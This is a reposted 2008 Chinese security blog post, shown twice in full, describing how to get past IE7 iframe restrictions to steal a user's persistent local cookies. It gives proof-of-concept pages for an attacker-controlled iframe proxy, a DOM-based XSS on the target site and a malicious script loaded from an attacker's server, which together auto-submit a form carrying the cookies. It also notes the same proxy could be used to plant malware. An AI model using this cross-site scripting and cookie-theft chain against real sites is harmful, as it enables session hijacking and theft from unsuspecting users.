突破IE安全限制獲取iframe子框架內(nèi)的本地cookie
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 19:36:26 作者:佚名
我要評論

作者:aullik5
今天這篇主要是要講以下這么幾件事情:
1. iframe的限制
2. 突破iframe獲取本地cookie的思路
3. 利用Cross Iframe Trick突破iframe安全限制
我的測試環(huán)境是: IE 7 (7.0.5730.13)
以下所有的內(nèi)容全部經(jīng)過我在IE7中測試,是真實(shí)有效的
作者:aullik5
今天這篇主要是要講以下這么幾件事情:
1. iframe的限制
2. 突破iframe獲取本地cookie的思路
3. 利用Cross Iframe Trick突破iframe安全限制
我的測試環(huán)境是: IE 7 (7.0.5730.13)
以下所有的內(nèi)容全部經(jīng)過我在IE7中測試,是真實(shí)有效的結(jié)果。
Iframe的限制:
因?yàn)閕frame這個(gè)玩意比較特殊,所以瀏覽器對它一般都有一些限制。
首先父窗口不能控制子窗口的js,只能讀取一些對象;子窗口也不能使用父窗口的js,也只能讀部分對象,更多的比如document啥的都限制了。
關(guān)系如下:
- iframe's should not be able to view content/cookies from another domain
- iframe children CAN view certain properties and execute certain behaviors
- parent.window.blur
- parent.window.opener
- parent.window.length
- others
- iframe children CAN redirect the parent frame to a new location (great for phishing)
- parent.location.href
- parent.window.location對于有些利用子窗口執(zhí)行父窗口js的方法是限制的
比如,在子窗口里可以這么使用:
parent.location.href="http://www.sohu.com";
上面的語句將把父窗口重新定義到sohu的網(wǎng)站去.
但是如果想執(zhí)行js,或者是讀取document對象,則會(huì)被拒絕訪問
parent.location.href=new String("javascript:alert(document.cookie)");
parent.location.href=new String("javascript:alert(1)");
像這兩條都會(huì)被拒絕。
對于iframe,F(xiàn)irefox3 居然是不限制本地cookie發(fā)送的!也就是說,在Firefox環(huán)境里,使用iframe包含一個(gè)遠(yuǎn)程頁面,是會(huì)將保存在本地的cookie發(fā)送出去的,這使得CSRF會(huì)非常之方便。
但是IE不同,對于IE環(huán)境中,img和iframe標(biāo)簽都只能發(fā)送session cookie,無法發(fā)送本地cookie,所以很多時(shí)候CSRF會(huì)失敗,這也會(huì)給XSS帶來很大的麻煩,比如會(huì)使得XSRF更困難一些。
鑒于Firefox一點(diǎn)挑戰(zhàn)都沒有,所以今天主要研究的對象是IE。
在IE環(huán)境下,程序員們一般都是使用P3P協(xié)議來獲取跨域cookie的,但是P3P也要求我們改寫HTTP頭,更麻煩,在這里,我純粹使用一些腳本的技巧來突破這些限制。
突破IFRAME限制的思路:(以下都是在IE環(huán)境中)
由于頁面里的iframe都是發(fā)送的session cookie,所以子框架頁面里本身是只有一個(gè)session cookie的,我們無法通過在子框架里執(zhí)行js的方法來獲取本地cookie,無中生有的事情是干不出來的。
了解這一原理后,思路就很明確了:想辦法新起一個(gè)不受限制的窗口,從而獲取本地cookie。
具體來說,有這么兩個(gè)辦法:
1、 使用window.open打開一個(gè)新窗口
2、 回到父窗口,讓其打開一個(gè)新窗口
在子框架中,使用window.open()確實(shí)可以發(fā)送本地cookie,但是問題是瀏覽器一般會(huì)限制頁面彈窗口,會(huì)被攔截,所以這個(gè)方法比較囧~~,不是個(gè)好辦法。
而第二個(gè)辦法,回到父窗口去打開新窗口,就涉及到一個(gè)突破iframe執(zhí)行腳本的問題,而這個(gè)問題在我的前一篇Cross Iframe Trick 里已經(jīng)解決了,所以我們的方法就呼之欲出了。
利用Cross Iframe Trick突破iframe限制獲取子框架cookie:
Cross Iframe的最大貢獻(xiàn)就在于他可以繞過前面提到的iframe的限制,在父域或者子框架里獲取對象,執(zhí)行腳本。
當(dāng)一個(gè)頁面很難突破時(shí),如果他包含了一個(gè)存在弱點(diǎn)的iframe頁面,則可能會(huì)帶來災(zāi)難性的結(jié)果。
我相信真正精通腳本攻擊的人是能夠看到它的用處和優(yōu)勢的。
環(huán)境如下:(綁定127.0.0.1 www.baidu.com)
http://www.a.com/1.html 是我們要攻擊的頁面,它包含了一個(gè)存在弱點(diǎn)的iframe,用戶只會(huì)去瀏覽這個(gè)頁面
http://www.baidu.com/3.html 是我們已經(jīng)控制的頁面,他作為一個(gè)iframe被1.html所包含。在這里是iframe proxy
http://www.a.com/4.html 是www.a.com上的一個(gè)存在XSS漏洞的頁面,一般情況下用戶不會(huì)去訪問它!
http://www.b.com/4.js 這是攻擊者自己的服務(wù)器上的一個(gè)惡意腳本,將被XSS攻擊遠(yuǎn)程載入4.html中。
由于用戶只會(huì)瀏覽www.a.com/1.html,所以我們要通過腳本攻擊,從www.a.com/1.html里獲取用戶在www.baidu.com/3.html的本地cookie。
www.a.com/1.html的代碼如下:
---------------------------------- 我是聰明的分割線 -------------------------------------------
// 函數(shù)tt1 ,在最后將被4.html注入?yún)?shù)
function tt1(fvck){
alert("tt1() and args= " fvck);
document.write("");
}
http://www.baidu.com/3.html" width="300" height="300" >
---------------------------------- 我是聰明的分割線 -------------------------------------------
它包含了一個(gè)iframe頁面
www.baidu.com/3.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
//parent.location.href=new String("javascript:alert(document.cookie)");
//parent.location.href="http://www.sohu.com";
alert("3.html in iframe and cookie=" document.cookie);
// iframe proxy: 創(chuàng)建一個(gè)動(dòng)態(tài)iframe,并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://www.A.com/4.html#' >http://www.b.com/4.js\">";
document.body.appendChild(tt1_4);
---------------------------------- 我是聰明的分割線 -------------------------------------------
3.html是我們的iframe proxy,利用它來完成在www.a.com里執(zhí)行腳本的工作。
www.a.com/4.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
// 一個(gè)基于DOM的XSS漏洞
document.write("");
//window.open("http://www.baidu.com/4.html"); 會(huì)帶上cookie
This is 4.html!
http://www.baidu.com/2.html" >
http://himg.baidu.com/sys/portrait/item/26ba61756c6c696b35c504.jpg" onload=submitpost4();>
function submitpost4(){ document.forms[0].submit(); }
-->
---------------------------------- 我是聰明的分割線 -------------------------------------------
www.b.com/4.js 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
alert("4.js is loaded!");
top.tt1('\'>http://www.baidu.com/2.html\" >http://himg.baidu.com/sys/portrait/item/26ba61756c6c696b35c504.jpg\" onload=submitpost4();>function submitpost4(){ document.forms[0].submit(); }
---------------------------------- 我是聰明的分割線 -------------------------------------------
4.js才是我們真正利用XSS漏洞和Cross Iframe Trick來新起一個(gè)窗口,從而獲取本地cookie的方法。
www.baidu.com/2.html的代碼很簡單,他的作用是查看當(dāng)前的cookie:
---------------------------------- 我是聰明的分割線 -------------------------------------------
alert("2.html cookie=" document.cookie);
---------------------------------- 我是聰明的分割線 -------------------------------------------
在這里攻擊流程是這樣的:
www.a.com/1.html ----iframe----> www.baidu.com/3.html ----動(dòng)態(tài)iframe---> www.a.com/4.html 的XSS漏洞 ------> 在www.a.com域中遠(yuǎn)程加載www.b.com/4.js
4.js動(dòng)態(tài)調(diào)用 www.a.com/1.html 里的 tt1() 函數(shù),并篡改參數(shù),寫入一個(gè)form,利用js動(dòng)態(tài)提交該表單,這時(shí)候提交的表單,就自動(dòng)帶上了本地cookie了
整個(gè)過程運(yùn)行結(jié)果如下:
首先訪問 www.a.com/1.html
可以看到這個(gè)時(shí)候在www.baidu.com/3.html 中彈出的是session cookie,可以對比下我們最后結(jié)果里彈出的本地cookie接下來,3.html將構(gòu)造iframe proxy
可以看到,由于www.a.com/4.html里的XSS漏洞被利用,所以遠(yuǎn)程js被加載了
遠(yuǎn)程js繼續(xù)調(diào)用top1.tt1(); 這個(gè)函數(shù),同時(shí)篡改它的參數(shù),參數(shù)如上圖顯示。接下來將把這個(gè)參數(shù)注入到tt1()函數(shù)中,由于tt1()函數(shù)中存在一個(gè) document.write,所以它將改寫頁面,并且構(gòu)造一個(gè)form表單,重新提交到www.baidu.com/2.html
由于在form表單中,利用了img標(biāo)簽的onload事件,使得img一加載就提交form,所以很快就自動(dòng)獲得了cookie。
可以看到,此時(shí)獲取的,就是www.baidu.com/2.html 保存的本地cookie!
需要注意的是,在4.html中,即使把 top.tt1()改成了 document.write(),也無法獲取本地cookie,想來應(yīng)該還是因?yàn)閕frame限制的問題。
以上,就是利用Cross Iframe Trick的技巧來突破iframe限制的方法,其意義在于跨頁面攻擊、跨域攻擊、突破iframe的限制,等等,大大豐富了腳本攻擊的方法。
不知道我這篇是不是又在白寫,如果有人能把我給出的POC好好調(diào)一遍,會(huì)發(fā)現(xiàn)這里面還是很有趣的。
最后,再講講,有的人可能會(huì)提出疑問,能構(gòu)造iframe proxy,是否可以直接用來掛馬?
是的,當(dāng)然可以直接用來掛馬,但是掛馬卻是更加復(fù)雜的一種攻擊,要求有好的瀏覽器漏洞,好的木馬,能夠?qū)怪鲃?dòng)防御的shellcode,同時(shí),根據(jù)需要獲取的數(shù)據(jù)不同,有時(shí)候掛馬也并不能達(dá)到目的。比如,攻擊的目標(biāo)是網(wǎng)站里的數(shù)據(jù),如果網(wǎng)站有SSL保護(hù),有防鍵盤記錄一類的程序,則會(huì)更加麻煩。
今天這篇主要是要講以下這么幾件事情:
1. iframe的限制
2. 突破iframe獲取本地cookie的思路
3. 利用Cross Iframe Trick突破iframe安全限制
我的測試環(huán)境是: IE 7 (7.0.5730.13)
以下所有的內(nèi)容全部經(jīng)過我在IE7中測試,是真實(shí)有效的結(jié)果。
Iframe的限制:
因?yàn)閕frame這個(gè)玩意比較特殊,所以瀏覽器對它一般都有一些限制。
首先父窗口不能控制子窗口的js,只能讀取一些對象;子窗口也不能使用父窗口的js,也只能讀部分對象,更多的比如document啥的都限制了。
關(guān)系如下:
- iframe's should not be able to view content/cookies from another domain
- iframe children CAN view certain properties and execute certain behaviors
- parent.window.blur
- parent.window.opener
- parent.window.length
- others
- iframe children CAN redirect the parent frame to a new location (great for phishing)
- parent.location.href
- parent.window.location對于有些利用子窗口執(zhí)行父窗口js的方法是限制的
比如,在子窗口里可以這么使用:
parent.location.href="http://www.sohu.com";
上面的語句將把父窗口重新定義到sohu的網(wǎng)站去.
但是如果想執(zhí)行js,或者是讀取document對象,則會(huì)被拒絕訪問
parent.location.href=new String("javascript:alert(document.cookie)");
parent.location.href=new String("javascript:alert(1)");
像這兩條都會(huì)被拒絕。
對于iframe,F(xiàn)irefox3 居然是不限制本地cookie發(fā)送的!也就是說,在Firefox環(huán)境里,使用iframe包含一個(gè)遠(yuǎn)程頁面,是會(huì)將保存在本地的cookie發(fā)送出去的,這使得CSRF會(huì)非常之方便。
但是IE不同,對于IE環(huán)境中,img和iframe標(biāo)簽都只能發(fā)送session cookie,無法發(fā)送本地cookie,所以很多時(shí)候CSRF會(huì)失敗,這也會(huì)給XSS帶來很大的麻煩,比如會(huì)使得XSRF更困難一些。
鑒于Firefox一點(diǎn)挑戰(zhàn)都沒有,所以今天主要研究的對象是IE。
在IE環(huán)境下,程序員們一般都是使用P3P協(xié)議來獲取跨域cookie的,但是P3P也要求我們改寫HTTP頭,更麻煩,在這里,我純粹使用一些腳本的技巧來突破這些限制。
突破IFRAME限制的思路:(以下都是在IE環(huán)境中)
由于頁面里的iframe都是發(fā)送的session cookie,所以子框架頁面里本身是只有一個(gè)session cookie的,我們無法通過在子框架里執(zhí)行js的方法來獲取本地cookie,無中生有的事情是干不出來的。
了解這一原理后,思路就很明確了:想辦法新起一個(gè)不受限制的窗口,從而獲取本地cookie。
具體來說,有這么兩個(gè)辦法:
1、 使用window.open打開一個(gè)新窗口
2、 回到父窗口,讓其打開一個(gè)新窗口
在子框架中,使用window.open()確實(shí)可以發(fā)送本地cookie,但是問題是瀏覽器一般會(huì)限制頁面彈窗口,會(huì)被攔截,所以這個(gè)方法比較囧~~,不是個(gè)好辦法。
而第二個(gè)辦法,回到父窗口去打開新窗口,就涉及到一個(gè)突破iframe執(zhí)行腳本的問題,而這個(gè)問題在我的前一篇Cross Iframe Trick 里已經(jīng)解決了,所以我們的方法就呼之欲出了。
利用Cross Iframe Trick突破iframe限制獲取子框架cookie:
Cross Iframe的最大貢獻(xiàn)就在于他可以繞過前面提到的iframe的限制,在父域或者子框架里獲取對象,執(zhí)行腳本。
當(dāng)一個(gè)頁面很難突破時(shí),如果他包含了一個(gè)存在弱點(diǎn)的iframe頁面,則可能會(huì)帶來災(zāi)難性的結(jié)果。
我相信真正精通腳本攻擊的人是能夠看到它的用處和優(yōu)勢的。
環(huán)境如下:(綁定127.0.0.1 www.baidu.com)
http://www.a.com/1.html 是我們要攻擊的頁面,它包含了一個(gè)存在弱點(diǎn)的iframe,用戶只會(huì)去瀏覽這個(gè)頁面
http://www.baidu.com/3.html 是我們已經(jīng)控制的頁面,他作為一個(gè)iframe被1.html所包含。在這里是iframe proxy
http://www.a.com/4.html 是www.a.com上的一個(gè)存在XSS漏洞的頁面,一般情況下用戶不會(huì)去訪問它!
http://www.b.com/4.js 這是攻擊者自己的服務(wù)器上的一個(gè)惡意腳本,將被XSS攻擊遠(yuǎn)程載入4.html中。
由于用戶只會(huì)瀏覽www.a.com/1.html,所以我們要通過腳本攻擊,從www.a.com/1.html里獲取用戶在www.baidu.com/3.html的本地cookie。
www.a.com/1.html的代碼如下:
---------------------------------- 我是聰明的分割線 -------------------------------------------
// 函數(shù)tt1 ,在最后將被4.html注入?yún)?shù)
function tt1(fvck){
alert("tt1() and args= " fvck);
document.write("");
}
http://www.baidu.com/3.html" width="300" height="300" >
---------------------------------- 我是聰明的分割線 -------------------------------------------
它包含了一個(gè)iframe頁面
www.baidu.com/3.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
//parent.location.href=new String("javascript:alert(document.cookie)");
//parent.location.href="http://www.sohu.com";
alert("3.html in iframe and cookie=" document.cookie);
// iframe proxy: 創(chuàng)建一個(gè)動(dòng)態(tài)iframe,并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://www.A.com/4.html#' >http://www.b.com/4.js\">";
document.body.appendChild(tt1_4);
---------------------------------- 我是聰明的分割線 -------------------------------------------
3.html是我們的iframe proxy,利用它來完成在www.a.com里執(zhí)行腳本的工作。
www.a.com/4.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
// 一個(gè)基于DOM的XSS漏洞
document.write("");
//window.open("http://www.baidu.com/4.html"); 會(huì)帶上cookie
This is 4.html!
http://www.baidu.com/2.html" >
http://himg.baidu.com/sys/portrait/item/26ba61756c6c696b35c504.jpg" onload=submitpost4();>
function submitpost4(){ document.forms[0].submit(); }
-->
---------------------------------- 我是聰明的分割線 -------------------------------------------
www.b.com/4.js 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
alert("4.js is loaded!");
top.tt1('\'>http://www.baidu.com/2.html\" >http://himg.baidu.com/sys/portrait/item/26ba61756c6c696b35c504.jpg\" onload=submitpost4();>function submitpost4(){ document.forms[0].submit(); }
---------------------------------- 我是聰明的分割線 -------------------------------------------
4.js才是我們真正利用XSS漏洞和Cross Iframe Trick來新起一個(gè)窗口,從而獲取本地cookie的方法。
www.baidu.com/2.html的代碼很簡單,他的作用是查看當(dāng)前的cookie:
---------------------------------- 我是聰明的分割線 -------------------------------------------
alert("2.html cookie=" document.cookie);
---------------------------------- 我是聰明的分割線 -------------------------------------------
在這里攻擊流程是這樣的:
www.a.com/1.html ----iframe----> www.baidu.com/3.html ----動(dòng)態(tài)iframe---> www.a.com/4.html 的XSS漏洞 ------> 在www.a.com域中遠(yuǎn)程加載www.b.com/4.js
4.js動(dòng)態(tài)調(diào)用 www.a.com/1.html 里的 tt1() 函數(shù),并篡改參數(shù),寫入一個(gè)form,利用js動(dòng)態(tài)提交該表單,這時(shí)候提交的表單,就自動(dòng)帶上了本地cookie了
整個(gè)過程運(yùn)行結(jié)果如下:
首先訪問 www.a.com/1.html

可以看到這個(gè)時(shí)候在www.baidu.com/3.html 中彈出的是session cookie,可以對比下我們最后結(jié)果里彈出的本地cookie接下來,3.html將構(gòu)造iframe proxy

可以看到,由于www.a.com/4.html里的XSS漏洞被利用,所以遠(yuǎn)程js被加載了

遠(yuǎn)程js繼續(xù)調(diào)用top1.tt1(); 這個(gè)函數(shù),同時(shí)篡改它的參數(shù),參數(shù)如上圖顯示。接下來將把這個(gè)參數(shù)注入到tt1()函數(shù)中,由于tt1()函數(shù)中存在一個(gè) document.write,所以它將改寫頁面,并且構(gòu)造一個(gè)form表單,重新提交到www.baidu.com/2.html

由于在form表單中,利用了img標(biāo)簽的onload事件,使得img一加載就提交form,所以很快就自動(dòng)獲得了cookie。
可以看到,此時(shí)獲取的,就是www.baidu.com/2.html 保存的本地cookie!
需要注意的是,在4.html中,即使把 top.tt1()改成了 document.write(),也無法獲取本地cookie,想來應(yīng)該還是因?yàn)閕frame限制的問題。
以上,就是利用Cross Iframe Trick的技巧來突破iframe限制的方法,其意義在于跨頁面攻擊、跨域攻擊、突破iframe的限制,等等,大大豐富了腳本攻擊的方法。
不知道我這篇是不是又在白寫,如果有人能把我給出的POC好好調(diào)一遍,會(huì)發(fā)現(xiàn)這里面還是很有趣的。
最后,再講講,有的人可能會(huì)提出疑問,能構(gòu)造iframe proxy,是否可以直接用來掛馬?
是的,當(dāng)然可以直接用來掛馬,但是掛馬卻是更加復(fù)雜的一種攻擊,要求有好的瀏覽器漏洞,好的木馬,能夠?qū)怪鲃?dòng)防御的shellcode,同時(shí),根據(jù)需要獲取的數(shù)據(jù)不同,有時(shí)候掛馬也并不能達(dá)到目的。比如,攻擊的目標(biāo)是網(wǎng)站里的數(shù)據(jù),如果網(wǎng)站有SSL保護(hù),有防鍵盤記錄一類的程序,則會(huì)更加麻煩。
相關(guān)文章
什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來攻擊頁面的,大家都有這樣的經(jīng)歷,就是在訪問論壇時(shí),如果這個(gè)論壇比較大,訪問的人比較多,打開頁面的速度會(huì)比較慢,對不?!一般來說,訪問的人越多,論壇的頁2024-01-06Windows系統(tǒng)安全風(fēng)險(xiǎn)-本地NTLM重放提權(quán)
入侵者主要通過Potato程序攻擊擁有SYSTEM權(quán)限的端口偽造網(wǎng)絡(luò)身份認(rèn)證過程,利用NTLM重放機(jī)制騙取SYSTEM身份令牌,最終取得系統(tǒng)權(quán)限,該安全風(fēng)險(xiǎn)微軟并不認(rèn)為存在漏洞,所以2021-04-15- 這篇文章主要介紹了文件上傳漏洞全面滲透分析小結(jié),這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21
- 這篇文章主要介紹了sql手工注入語句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權(quán),需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權(quán)與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權(quán)與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說過關(guān)于http和https的區(qū)別,對于加密的https,我們一直認(rèn)為它是相對安全的,可今天要講的是,一種繞過HTTPS加密得到明文信息的web攻擊方式,不知道這消息對你2016-08-10iPhone和Mac也會(huì)被黑 一條iMessage密碼可能就被盜了
一直以來蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會(huì)導(dǎo)致用戶信息泄露。2016-07-27- 國家正在修正關(guān)于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀(jì)佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進(jìn)入攻擊者郵箱
面對惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護(hù)能力都沒有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進(jìn)入攻擊者郵箱2016-07-06